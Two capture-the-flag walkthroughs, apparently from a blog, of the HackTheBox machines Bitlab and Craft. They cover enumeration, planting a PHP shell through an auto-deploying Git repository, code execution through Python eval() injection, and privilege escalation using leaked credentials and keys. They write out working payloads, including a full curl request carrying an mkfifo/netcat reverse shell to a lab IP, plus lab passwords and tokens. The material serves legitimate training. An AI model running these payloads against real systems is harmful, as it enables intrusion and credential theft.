HackTheBox – Bitlab

The initial nmap scan of the HackTheBox machine “Bitlab” only showed two open ports:

# Nmap 7.80 scan initiated Sun Sep 15 03:20:33 2019 as: nmap -p- -o nmap_full 10.10.10.114
Nmap scan report for 10.10.10.114
Host is up (0.028s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

On port 80 the website only showed the login page for a Gitlab instance:

Of course we didn’t have a login yet. All projects of that instance were private, nothing showed up under the Explore link. But the Help link pointed to the following:

And the booksmarks.html displayed this:

The first 4 links were not interesting, but the last one was a JavaScript snippet. Cleaning up the code (converting URL encoded characters back to normal characters) this turns into:

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

We didn’t actually have to understand the code, this can be pasted into the JavaScript console of Firefox and get executed. Doing that will automatically fill out the username and password of the Gitlab login page:

Since our browser is routed through Burp we can grab the credentials for later:
Username: clave
Password: 11des0081x

Being logged in to Gitlab we get access to two projects:

The deployer repository basically only contained this index.php file:

This looks like a hook that is called when the Profile repository gets a new commit merged. It will change to the profile path and run sudo git pull.

The Profile repository only contained a index.php file with static HTML content.

Now we also know those URLs:
http://10.10.10.114/deployer/
http://10.10.10.114/profile/

Since we understand that adding a new commit to the Profile repository will get automatically pulled in this reachable folder, we can upload a PHP shell. Checking out this git repository remotely didn’t work, however Gitlab includes functionality to do that in the browser.

First we switch to the test-deploy branch of the repository:

Then add a new file:

And now we can simply create a new file:

Afterwards we commit it, created a merge request and merged it. Since this will be deployed automatically we can call the PHP shell just a few seconds later:

However, this was a low privileged shell as the user www-data. With this we did a ton of enumeration which lead nowhere. Finally going back to the Gitlab instance we noticed the snippets feature. There only exists this snippet on the server:

That’s a pretty big hint that there might be something useful in that PostgreSQL table. So, we did another merge request to deploy this code:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$resultArr = pg_fetch_all($result);
print_r($resultArr);

Repeating the steps from above we commit those contents again to shell.php in the test-deploy branch. Create a new merge request via this button:

Submit the merge request:

And merge it:

Calling the shell now returns the data from PostgreSQL:

The password returned looks like a base64 encoded string but it does not decode. After trying to fix the string for a while we simply tried to use that string as the literal password, and that works for the user clave via SSH:

With that we finally got the user flag. The only suspicious file to gain root was the RemoteConnection.exe file in the home directory of clave. Trying to reverse it with Hopper for a bit lead nowhere. Trying to debug it while running was the plan next. Simply running it via wine only showed this error message:

Next we ran it via OllyDbg. By simply setting a break point on that “Access Denied !!” print message we got the following:

Looking at the stack in the window at the bottom right we can see parameters which are intended for PuTTY:

ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^"

With those credentials we can now login as root:

And with that we got the root flag.

HackTheBox – Craft

The initial nmap scan for Craft didn’t reveal a lot of open ports:

# Nmap 7.70 scan initiated Thu Jul 18 15:19:14 2019 as: nmap -o nmap_full -p- 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.032s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
6022/tcp open  x11

There were 2 SSH ports open (6022/tcp was SSH, not x11) and otherwise only HTTPS. The certificate of the site had a common name of “craft.htb”, so we added that to “/etc/hosts”. The HTTPS site was practically just static content (accessing via the IP and the “craft.htb” name gave the same page):

However, at the top right were two links to two different subdomains. “https://api.craft.htb/api” and “https://gogs.craft.htb/”. We add those also to “/etc/hosts”:

10.10.10.110 craft.htb api.craft.htb gogs.craft.htb

The API subdomain is a Swagger UI interface:

But all the interesting enpoints require either a token or credentials to login.

“gogs.craft.htb” is a self hosted Git service. Browsing the site we can get access to the source code of the API. But also the issue tracker is available:

Thanks to that issue we now know what header the API expects from us. The token in the issue is however already expired. More interestingly the last comment of that issue was:

That sounds suspicious, let’s check out that commit:

That eval() on line 43 is practically executing any code we pass to it in the abv parameter. But we still need a token first. After a few dead-ends we take a look at the commit history of the project, there are only 6 commits in total and one in particular contained user credentials and in a later commit they were removed again:

With those credentials we can now login and get a token back:

# curl "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H  "accept: application/json" -k
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTYzNTY5Nzc2fQ.KIWXhhroDYI4R_OieAyBxZkR-Ck1C3Nm5FdOV-5BPms"}

Using this token we can now access the “/api/brew” endpoint which uses the insecure eval().

There are a few restrictions though, it expects python code and we will not get the result printed back. Passing something like this as the “abv” value will execute the “sleep 5” command which we can easily detect by the time it takes to respond:

__import__(\"os\").system(\"sleep 5\")

Immediately spawning a reverse shell didn’t work, but we can do some basic recon like this:

# does nc exist?
__import__(\"os\").system(\"which nc && sleep 5\")
# does bash exist?
__import__(\"os\").system(\"which bash && sleep 5\")
# are outbound connections to port 80 possible?
__import__(\"os\").system(\"wget http://10.10.14.26/\")

“nc” did exist (but probably didn’t support the “-e” flag), bash did not exist and outbound connections were possible, also to other ports. But a alternative reverse shell using “nc” without the “-e” flag worked. We start a local nc listener first locally on port 4444/tcp and then run:

# curl -X POST "https://api.craft.htb/api/brew/" \
-H "X-Craft-API-Token: $TOKEN" \
-H  "accept: application/json" \
-H  "Content-Type: application/json" \
-d '{  "id": 0,  "brewer": "string",  
"name": "string",  "style": "string",  
"abv": "__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 4444 >/tmp/f\")"}' -k

And we get a connection back:

Of course this isn’t the final root shell, as it turns out this system runs inside a Docker container. Which also explains why “bash” does not exist on it. There isn’t much on the system but it does have access to a MySQL server. Very helpfully a “mysql_client.py” script is already ready for our use. From there we can get additional credentials:

We then try those to login at the various services and figure out that “dinesh” and “gilfoyle” can login at the Gogs instance. Gilfoyle has a private repository set up at Gogs, “craft-infra”:

In the “.ssh” folder is a SSH private key, we download it. There is also the correspondingĀ  public key, the comment in there indicates that the key is for “gilfolye@craft.htb”. We use that key to login, the passphrase is the same as the password we got from MySQL for gilfolye:

In the repository is one more interesting configuration. Vault is being used to store credentials, and there is a configuration for root SSH using OTP:

We simply use this to login as root:

Vault happily gives us the one time password with which we can login as root.